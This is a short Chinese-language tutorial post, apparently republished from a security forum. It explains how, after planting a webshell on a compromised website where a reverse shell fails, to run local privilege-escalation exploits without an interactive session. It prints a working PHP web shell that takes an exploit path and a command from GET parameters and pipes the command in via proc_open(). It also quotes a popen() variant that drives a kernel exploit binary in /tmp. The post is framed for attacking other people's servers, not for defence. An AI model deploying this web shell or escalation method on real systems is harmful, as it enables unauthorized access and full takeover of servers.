前言
之前拿到某站的Webshell之后,在提權的時候發現網站不能反彈shell。而且,在滲透的時候經常遇到那種不能反彈shell的,你的提權工具拿上去之后因為沒有交互式的環境,也不知道提權是否成功。因此,寫了一個簡單的工具。需要的朋友們可以參考學習。
方法如下
proce_open()
// path是提權工具的絕對路徑,例如:/usr/local/htdocs/2.6.18// cmd是你需要執行的命令,例如:whoamiif(isset($_GET['path']) && isset($_GET['cmd'])){ $path = $_GET['path']; $cmd = $_GET['cmd']; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($path, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); echo stream_get_contents($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); } }
代碼很簡單,不懂的可以看看PHP手冊,popen()
在這里也可以實現相同的效果
另外,有了這個代碼之后,我們以后提權是不是就可以直接把提權工具扔到服務器上面,然后PHP代碼改一改,循環測試哪些提權工具是可用的了。
popen()
這是土司之前一個人發的,代碼原封不動的放在了下面。稍微改一改就能達到上面一樣的效果
$sucommand = "/tmp/2.6.18-2011";$fp = popen($sucommand ,"w");fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111");pclose($fp);
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對VEVB武林網的支持。
|
新聞熱點
疑難解答